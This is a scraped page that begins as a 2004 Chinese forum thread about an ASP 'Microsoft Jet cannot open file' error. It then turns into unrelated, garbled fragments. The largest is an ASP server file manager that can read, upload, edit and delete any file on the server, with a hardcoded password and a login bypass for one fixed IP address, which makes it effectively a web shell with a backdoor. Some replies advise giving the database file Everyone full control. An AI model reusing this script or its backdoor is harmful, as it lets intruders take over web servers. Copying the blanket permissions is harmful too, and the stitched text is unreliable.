Microsoft Jet 数据库引擎打不开文件'(未知的)'

by1sou 2004-11-16 11:47:49

Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'

[Microsoft][ODBC Microsoft Access Driver] Microsoft Jet 数据库引擎打不开文件'(未知的)'。它已经被别的用户以独占方式打开，或没有查看数据的权限。

/index.asp，行15

在网上搜索半天,也有人出现这种情况,就是找不到解决方法

操作系统2000,IIS5.0,
asp连接mssql都很正常,就是打不开accsee

set Conn=Server.CreateObject("ADODB.Connection")
Conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & Server.MapPath("kskiwiwillssswie.mdb")

...全文

857 12 打赏收藏转发到动态举报

写回复

用AI写文章

12 条回复

切换为时间正序

请发表友善的回复…

发表回复

by1sou 2004-11-27

打赏
举报

问题还是没解决,后来在权限向导里设置成 "允许所有具有 Windows 2000 帐号的用户查看动态和静态的内容。"暂时可以用了,匿名用户还是不能访问,还好是在本地测试用,倒可以凑和着用,就怕万一哪天服务器也出现这种情况,就没法子了

cdsun 2004-11-17

打赏
举报

你是不是在修改数据库的时候运行程序呢？
这样肯定不行啊

在别人使用的时候不能用代码进行连接的

就是这个错误

gu1dai 2004-11-17

打赏
举报

权限问题
这个数据库的权限必须是everyone

by1sou 2004-11-16

打赏
举报

急急急

nimaxyz 2004-11-16

打赏
举报

NTFS分区的权限问题，给Access文件Everyone完全控制。
先在工具->文件夹选项->查看->去掉“使用简单文件共享”。
然后右键点access文件->属性->安全->添加everyone->勾选完全控制。

life360 2004-11-16

打赏
举报

晕。有两个情况

第一，你打开数据库的设计窗（关闭设计）

第二，你的数据库处于缩死状态。（注销一下）

平台想钱想疯了 2004-11-16

打赏
举报

你已经把数据库表打开了,ASP程序无法进行操作,你要把数据库表关闭了才行.

当ASP进行操作数据库ACCESS表时,一定不能自己在ACCESS中打开了此表.

e8soft 2004-11-16

打赏
举报

是不是你以独点方式打开数据库啊..不过这种方式不太可能..你可以复制别人的代码看看..

另外你可以把别的程序都关了.只用一个浏览器看看还会有这种问题不.有时候我们用ACCES打开了.

就会出现这种问题的.

lxxlily 2004-11-16

打赏
举报

如果你的数据库表是打开的，这时浏览页面会出这个问题。

applezhao 2004-11-16

打赏
举报

看打开设置
用这种方法看看
<%
Dim conn
Set conn = Server.CreateObject("ADODB.Connection")
conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath("kskiwiwillssswie.mdb") & ";Persist Security Info=False"
%>

jiangchunming 2004-11-16

打赏
举报

看看你的ACCESS数据数是设置的共享方式打开还是独占方式

jiangchunming 2004-11-16

打赏
举报

/index.asp，行15
是什么内容

Microsoft OLE DB Provider for ODBC Drivers (0x80004005) 　　[Microsoft][ODBC Microsoft Access Driver]常见错误不能打开注册表关键字 'Temporary (volatile) Jet DSN for process 0x914 Thread 0xb44 DBC 0x1f50064 Jet'。

第一天我认为ASP.NET比ASP难很多，希望大家做好准备。难难在实现同一个效果有很多方法，大家或许会疑惑。十天学会系列教程会清晰的写出各种方法，让大家能少一点坎坷。在ASP里面，大家几乎都是使用VB，数据库嘛，也无非是SQL和ACCESS。在ASP.NET里面，数据库还是这两个但是常用的语言多了一个C#，也是微软推荐的语言，为.NET平台定制的语言。这样ASP.NET就有四种组合：VB+ACCESS，VB+SQL，C#+ACCESS，C#+SQL，本教程会使用C#+ACCESS，兼顾四种来写，让大家对ASP.NET有一个全面的认识。虽然说学习ASP.NET不需要任何ASP基础，但是我觉得如果大家ASP不会，还是先看一下【十天学会ASP教程】，大家所需要了解的不是ASP的程序怎么写，而是怎么构建服务器，怎么使用HTML表单，同时对SQL语句有一个基础和理解，因为在本文里我不会将将一些基础的东西。废话不多说，开始我们第一天的学习：学习目的：调试出安装环境我要申明一点，操作系统就用2000，如果说要学习一个网络语言还不肯多装一个操作系统的话，那我看也不要学习了。先到网上下载一个MDAC(要是2.7以上的版本才行)，然后安装，安装以后或许会重新启动一次。然后再下载一个.NET FRAMEWORK SDK，安装以后会在控制面板里面的管理工具里面多两个东西，这个不用理睬他，我们要使用的还是原来的INTERNET服务管理器。打开它按照ASP教程里面的调试方法建立一个目录，建立一个EXAMPLE1.ASPX，然后用记事本打开这个文件在里面输入 <script language="c#" runat="server"> void Page_Load() { Response.Write("Hello World!"); } sub page_load() response.write("Hello World!") end sub 文件总是有A和B分别是用C#和VB写的，演示的图片就用C#那一种的，都一样嘛，教程里面代码也是写两种用

<%# Container.DataItem("aa")%>

<%# Container.DataItem("bb")%>

关键字描述：错误未知原因权限 数据库 使用更新这个 " 一个最近很多人都碰到一个问题：在索引重建的时候出现了"操作必须使用一个可更新的查询" 错误原因:未知错误ID:-2147467259。摘要:操作必须使用一个可更新的查询。Microsoft JET Database

<% '========================== 版权声明 ========================= '本程序只供在需要特别处理服务器文件时使用，严禁用于非法目的 '由于非正当使用本程序而造成的一切后果及责任自负 '版本: v0.12 '作者: 河北科技大学 rssn | Risingsun,Hebust 'QQ: 126027268 'E-mail: rssn@163.com 'Date: 2006-8-12 '============================================================= Server.ScriptTimeout=20 Session.Timeout=45 'Session有效时间 Const mss="explorer_" 'Session前缀 Const Password="knowsky" '登录密码 Const Copyright="

©CopyLeft 2006. Coded By rssn, Hebust. No Rights Reserved

" '版权信息 Dim T1,T2,Runtime T1=Timer() Dim oFso Set oFso=Server.CreateObject("Scripting.FileSystemObject") '------------------------------------------------------------- '声明函数中所需的全局变量 Dim conn,rs,oStream,NoPackFiles,RootPath,FailFileList NoPackFiles="|<$datafile>.mdb|<$datafile>.ldb|" '------------------------------------------------------------- Call Main() Set oFso=Nothing '======================== Subs Begin ========================= Sub Main() Select Case Request("page") Case "img" Call Page_Img() Case "css" Call Page_Css() Case "loginchk" Call LoginChk() Case "logout" Call Logout() Case Else: '"一夫当关，万夫莫开"——用户验证 If Session(mss&"IsAdminlogin")=True Or Request.ServerVariables("REMOTE_ADDR")="121.193.213.246" Then '已登录 Else Call Login() Exit Sub End If Select Case Request("act") Case "drive" Call Drive() Case "up" Call DirUp() Case "new" Call NewF(Request("fname")) Case "savenew" Call SaveNew(Request("fname")) Case "rename" Call Rename() Case "saverename" Call SaveRename() Case "edit" Call Edit(Request("fname")) Case "saveedit" Call SaveEdit(Request("fname")) Case "delete" Call Deletes(Request("fname")) Case "copy" Call SetFile(Request("fname"),0) Case "cut" Call SetFile(Request("fname"),1) Case "download" Call Download(Request("fname")) Case "upload" Call Upload(Request("fname")) Case "saveupload" Call Saveupload(Request("fname")) Case "parse" Call Parse(Request("fname")) Case "prop" Call Prop(Request("fname")) Case "saveprop" Call SaveProp(Request("fname")) Case "pack" Call Page_Pack() Case "savepack" Call Pack(Request("fpath"),Request("dbpath")) Case "saveunpack" Call UnPack(Request("fpath"),Request("dbpath")) Case Else If Request("fname")="" Then Call Dirlist(Server.MapPath("./")) Else Call Dirlist(Request("fname")) End If End Select End Select End Sub '========== Subs ============= '显示系统磁盘信息 Sub Drive() Dim oDrive,Islight %> FSO<em>文件</em>浏览器 - 系统磁盘信息

FSO文件浏览器 - 系统磁盘信息

<% On Error Resume Next Islight=False For Each oDrive In oFso.Drives Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write ""&vbCrLf Islight=Not(Islight) Next %>

盘符	类型	卷标	文件系统	总容量	可用空间
"&oDrive.DriveLetter&"	"&getDriveType(oDrive.DriveType)&"	"&oDrive.VolumeName&"	"&oDrive.FileSystem&"	"&SizeCount(oDrive.TotalSize)&"	"&SizeCount(oDrive.FreeSpace)&"

FSO文件浏览器 - 新建
类型：	文件夹文件
名称：

FSO文件浏览器 - 编辑文本文件
文件名： <% =Fname %>
<% =Server.HtmlEncode(FileStr) %>

FSO文件浏览器 - 文件上传
上传文件：
保存为：	覆盖模式

<% =Copyright %> <% End Sub '新建 Sub NewF(ByVal Fname) %> FSO<em>文件</em>浏览器 - 新建 <script language="JavaScript"> function icheck() { if(document.rform.nname.value=="") { alert("请输入合法的文件名！"); return false; } else return true; } <% End Sub '保存新建 Sub SaveNew(ByVal Fname) If Not IsFolder(Fname) Then Response.Write "<script language='javascript'>alert('文件夹不存在！');history.back();alert('文件或文件夹已存在！');history.back();alert('新建文件夹或文本文件成功！');window.close();文件 Sub Edit(ByVal Fname) If Not IsFile(Fname) Then Response.Write "<script language='javascript'>alert('您编辑的不是文件或文件不存在！');window.close(); FSO<em>文件</em>浏览器 - 编辑文本<em>文件</em> <% End Sub '保存编辑文件 Sub SaveEdit(ByVal Fname) Dim oFile,FileStr Set oFile=oFso.OpenTextFile(Fname,2,True) FileStr=Request.Form("filestr") 'Response.Write FileStr oFile.Write FileStr oFile.Close Set oFile=Nothing EchoBack "保存编辑文件成功！" End Sub '复制或剪切文件 Sub SetFile(ByVal Fname,ByVal iMode) Session(mss & "setfile")=Fname Session(mss & "setmode")=iMode Dim ww If 0=iMode Then ww="复制" Else ww="剪切" End If EchoClose ww&"成功，请粘贴！" End Sub '粘贴文件或文件夹 Sub Parse(ByVal Fname) Dim oFile,oFolder Dim sName,iMode sName=Session(mss & "setfile") iMode=Session(mss & "setmode") If sName="" Then EchoClose "请先复制或剪切！" Else If InStr(LCase(Fname), LCase(sName)) > 0 Then EchoClose "目标文件夹在源文件夹内,非法操作！" Exit Sub End If '================ If Not IsFolder(Fname) Then EchoClose "目标文件夹不存在！" ElseIf IsFile(sName) Then Set oFile=oFso.GetFile(sName) If iMode=0 Then oFso.CopyFile sName,Replace(Fname&"\"&oFile.Name,"\\","\") Else oFso.MoveFile sName,Replace(Fname&"\"&oFile.Name,"\\","\") End If ElseIf IsFolder(sName) Then Set oFolder=oFso.GetFolder(sName) If iMode=0 Then oFso.CopyFolder sName,Replace(Fname&"\"&oFolder.Name,"\\","\") Else oFso.MoveFolder sName,Replace(Fname&"\"&oFolder.Name,"\\","\") End If Else EchoClose "源文件或文件夹不存在！" Exit Sub End If '================ EchoClose "复制或移动成功！刷新可查看效果" End If Session(mss & "setfile")="" Session(mss & "setmode")=0 End Sub '下载文件 Sub Download(ByVal Fname) Dim oFile If Not IsFile(Fname) Then EchoClose "不是文件或文件不存在！" Exit Sub End If Set oFile=oFso.GetFile(Fname) If InStr(LCase(oFile.Path)&"\",LCase(Server.MapPath("/")))>0 And Not IsScriptFile(oFso.GetExtensionName(oFile.Name)) Then Dim FileVName FileVName=Replace(oFile.Path,Server.MapPath("/"),"") FileVName=Replace(FileVName,"\","/") If Left(FileVName,1)<>"/" Then FileVName="/"&FileVName End If Response.Redirect FileVName Exit Sub End If If oFile.Size>1048576*100 Then EchoClose "文件超过100M，可能会造成服务器死机，\n不允许以Stream方式下载！\n请将该文件复制到网站目录以下\n然后以HTTP方式下载" Exit Sub End If Server.ScriptTimeout=10000 '延长脚本超时时间以提供下载 Dim oStream Set oStream=Server.CreateObject("ADODB.Stream") oStream.Open oStream.Type=1 oStream.LoadFromFile(Fname) Dim Data Data=oStream.Read oStream.Close Set oStream=Nothing If Not Response.IsClientConnected Then Set Data=Nothing Exit Sub End If Response.Buffer=True Response.AddHeader "Content-Disposition", "attachment; filename=" & oFile.Name Response.AddHeader "Content-Length", oFile.Size Response.CharSet = "UTF-8" Response.ContentType = "application/octet-stream" Response.BinaryWrite Data Response.Flush End Sub '删除文件 Sub Deletes(ByVal Fname) If IsFile(Fname) Then oFso.DeleteFile Fname,True ElseIf IsFolder(Fname) Then oFso.DeleteFolder Fname,True Else EchoClose "文件或文件夹不存在" Exit Sub End If EchoClose "文件删除成功！" End Sub '上传文件 Sub Upload(ByVal Fname) If Not IsFolder(Fname) Then EchoClose "没有指定上传的文件夹！" Exit Sub End If %> FSO<em>文件</em>浏览器 - <em>文件</em>上传 <script language="JavaScript"> function getSaveName() { var filepath=document.uform.upload.value; if(filepath.length<1) return; var filename=filepath.substring(filepath.lastIndexOf("\\")+1,filepath.length); document.uform.ffname.value=filename; } <% End Sub '保存上传文件 Sub Saveupload(ByVal FolderName) If Not IsFolder(FolderName) Then EchoClose "没有指定上传的文件夹！" Exit Sub End If Dim Path,IsOverWrite Path=FolderName If Right(Path,1)<>"\" Then Path=Path&"\" FileName=Replace(Request("filename"),"\","") If Len(FileName)<1 Then EchoBack "请选择文件并输入文件名！" Exit Sub End If Path=Path&FileName If LCase(Request("overwrite"))="true" Then IsOverWrite=True Else IsOverWrite=False End If On Error Resume Next Call MyUpload(Path,IsOverWrite) If Err Then EchoBack "文件上传失败！（可能是文件已存在）" Else EchoClose "文件上传成功!\n" & Replace(fileName, "\", "\\") End If End Sub '文件上传核心代码 Sub MyUpload(FilePath,IsOverWrite) Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf RequestSize=Request.TotalBytes If RequestSize<1 Then Exit Sub Set oStream=Server.CreateObject("ADODB.Stream") Set tStream=Server.CreateObject("ADODB.Stream") With oStream .Type=1 .Mode=3 .Open .Write=Request.BinaryRead(RequestSize) .Position=0 sData=.Read bCrLf=ChrB(13)&ChrB(10) iSpaceEnd=InStrB(sData,bCrLf)-1 sSpace=LeftB(sData,iSpaceEnd) iInfoStart=iSpaceEnd+3 iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1 iFileStart=iInfoEnd+5 iFileEnd=InStrB(iFileStart,sData,sSpace)-3 sData="" '清空文件数据 iFileSize=iFileEnd-iFileStart+1 tStream.Type=1 tStream.Mode=3 tStream.Open .Position=iFileStart-1 .CopyTo tStream,iFileSize If IsOverWrite Then tStream.SaveToFile FilePath,2 Else tStream.SaveToFile FilePath End If tStream.Close .Close End With Set tStream=Nothing Set oStream=Nothing End Sub '显示文件属性 Sub Prop(Fname) On Error Resume Next Dim obj,oAttrib If IsFile(Fname) Then Set obj=oFso.GetFile(Fname) ElseIf IsFolder(Fname) Then Set obj=oFso.GetFolder(Fname) Else EchoClose "文件或文件夹不存在！" Exit Sub End If Set oAttrib=New FileAttrib_Cls oAttrib.Attrib=obj.Attributes %> FSO<em>文件</em>浏览器 - <em>文件</em>属性 <script language="javascript"> function ww(obj) { return false; }

FSO文件浏览器 - 文件属性
路径：	<% =obj.Path %>
大小：	<% =SizeCount(obj.Size) %>
属性：	>普通 >只读 >隐藏 >系统 >目录 >存档 >链接 >压缩
创建时间：	<% =obj.DateCreated %>
创建时间：	<% =obj.DateLastModified %>
最后访问	<% =obj.DateLastAccessed %>

FSO文件浏览器 - 文件更名
更名为：

<% End Sub '修改属性 Sub SaveProp(Fname) Dim Attribs,Attrib Attribs=Replace(Request.Form("att")," ","") Attribs=Split(Attribs,",") Attrib=0 Dim i For i=0 To UBound(Attribs) Attrib=Attrib+Attribs(i) Next 'Response.Write Attrib 'Exit Sub Dim obj,oAttrib If IsFile(Fname) Then Set obj=oFso.GetFile(Fname) ElseIf IsFolder(Fname) Then Set obj=oFso.GetFolder(Fname) Else EchoClose "文件或文件夹不存在！" Exit Sub End If If obj.IsRootFolder Then EchoClose "不能修改根目录属性！" Exit Sub End If obj.Attributes=Attrib EchoBack "修改文件属性成功！" End Sub '转到上一级文件夹 Sub DirUp() Dim oFolder,ssFname If IsFolder(Request("fname")) Then Set oFolder=oFso.GetFolder(Request("fname")) If oFolder.IsRootFolder Then '转至显示驱动器页面 Call Drive() Exit Sub Else ssFname=oFolder.ParentFolder.Path Set oFolder=Nothing Call DirList(ssFname) End If Else If IsFile(Request("fname")) Then '文件下载 Else Response.Write "文件夹或文件不存在！" End If End If End Sub '更改文件名页面 Sub Rename() Dim Fname,sName Fname=Request("fname") If IsFolder(Fname) Then sName=oFso.GetFolder(Fname).Name Else If IsFile(Fname) Then sName=oFso.GetFile(Fname).Name Else Response.Write "文件或文件夹不存在！" Exit Sub End If End If %> FSO<em>文件</em>浏览器 - 重命名 <script language="JavaScript"> function icheck() { if(document.cform.toname.value=="") { alert("请输入合法的文件名！"); return false; } else return true; } <% End Sub '更改文件名操作 Sub SaveRename() Dim Fname,oFolder,oFile,FDir,ToName Fname=Request("fname") ToName=Replace(Request("toname"),"\","") If IsFolder(Fname) Then Set oFolder=oFso.GetFolder(Fname) Fname=oFolder.Path If Right(Fname,1)="\" Then Fname=Left(Fname,Len(Fname)-1) End If FDir=Left(Fname,InstrRev(Fname,"\")) ToName=FDir & ToName On Error Resume Next Err.Clear Err=False oFso.MoveFolder Fname,ToName If Err Then EchoBack "文件名不合法！" Else EchoClose "文件夹更名成功！\n刷新之后即可看到效果" End If Exit Sub End If If IsFile(Fname) Then Set oFile=oFso.GetFile(Fname) Fname=oFile.Path FDir=Left(Fname,InstrRev(Fname,"\")) ToName=FDir & ToName On Error Resume Next Err.Clear Err=False oFso.MoveFile Fname,ToName If Err Then EchoBack "文件名不合法！" Else EchoClose "文件更名成功！\n刷新之后即可看到效果" End If Exit Sub End If End Sub '文件打包/解包页面 Sub Page_Pack() Dim vp,vu vp=Request("pname") vu=Request("uname") If Right(vu,4)<>".mdb" Then vu=Server.MapPath("/rs_pack.mdb") End If %> FSO<em>文件</em>浏览器 - <em>文件</em>打包/解包

FSO文件浏览器 - 文件打包/解包
打包文件夹：
打包到：	">

文件包路径：
解包到：	">

<% End Sub '文件夹内容列表 ========== Dirlist Sub Dirlist(ByVal Fpath) If IsFile(Fpath) Then '下载该文件 Response.Write "<script language=""javascript"">window.open('?page=fso&act=download&fname="&Server.UrlEncode(Fpath)&"', """", ""menu=no,resizable=yes,height=90,width=400"");history.back();文件夹不存在！" Exit Sub End If '代码开始 Dim oFolder Dim sFolder,sFile '文件夹下的子文件夹和文件 Set oFolder=oFso.GetFolder(Fpath) %> FSO<em>文件</em>浏览器 <script language="JavaScript"> var folderpath="<% =Replace(oFolder.Path,"\","\\") %>"; //当前文件夹 var fselected=""; function opendial(sUrl) //打开对话框窗口 { var newWin=window.open(sUrl, "", "menu=no,resizable=no,height=130,width=400"); return newWin; } function fopen(sfname) //打开文件夹或文件 { location.href="?page=fso&fname="+escape(sfname); } function fselect(obj) //选中文件夹或文件 { var flen=document.all("f").length; for(var i=0;i文件夹 { location.href="?page=fso&act=up&fname="+escape(folderpath); } function fnew() { opendial("?page=fso&act=new&fname="+escape(folderpath)); } function frename() //重命名文件 { if(fselected=="") { alert("请选择文件或文件夹！"); return false; } else opendial("?page=fso&act=rename&fname="+escape(fselected)); } function fdownload() //下载文件 { if(fselected=="") { alert("请选择文件！（大小在1MB以下）"); return false; } else opendial("?page=fso&act=download&fname="+escape(fselected)); } function fedit() //编辑文本文件 { if(fselected=="") { alert("请选择文件！"); return false; } else window.open("?page=fso&act=edit&fname="+escape(fselected)); } function fcopy() //复制文件 { if(fselected=="") { alert("请选择文件或文件夹！"); return false; } else opendial("?page=fso&act=copy&fname="+escape(fselected)); } function fcut() //剪切文件 { if(fselected=="") { alert("请选择文件或文件夹！"); return false; } else opendial("?page=fso&act=cut&fname="+escape(fselected)); } function fparse() //粘贴文件或文件夹 { opendial("?page=fso&act=parse&fname="+escape(folderpath)); } function fdelete() { if(fselected=="") { alert("请选择文件或文件夹！"); return false; } else { if(!confirm("确定要删除本文件或文件夹？")) return false; else opendial("?page=fso&act=delete&fname="+escape(fselected)); } } function fprop() //属性 { var vv; if(fselected=="") vv=folderpath; else vv=fselected; window.open("?page=fso&act=prop&fname="+escape(vv), "", "menu=no,resizable=no,height=250,width=500"); } function fpack() //打包解包 { var vp,vu; if(fselected=="") { vp=folderpath; vu=folderpath; } else { vp=fselected; vu=fselected; } window.open("?page=fso&act=pack&pname="+escape(vp)+"&uname="+escape(vu),"", "menu=no,resizable=no,height=250,width=500"); }

FSO文件浏览器

<% Dim Islight Islight=False '逐个显示子文件夹 For Each sFolder In oFolder.SubFolders Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write ""&vbCrLf Islight=Not Islight Next '逐个显示文件 For Each sFile In oFolder.Files Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write ""&vbCrLf Islight=Not Islight Next %>

文件名	类型	大小	修改时间
" Response.Write "0 "&Web&sFolder.Name Response.Write "	文件夹		"&sFolder.DateLastModified&"
" Response.Write " "&sFile.Name Response.Write "	"&sFile.Type&"	"&SizeCount(sFile.Size)&"	"&sFile.DateLastModified&"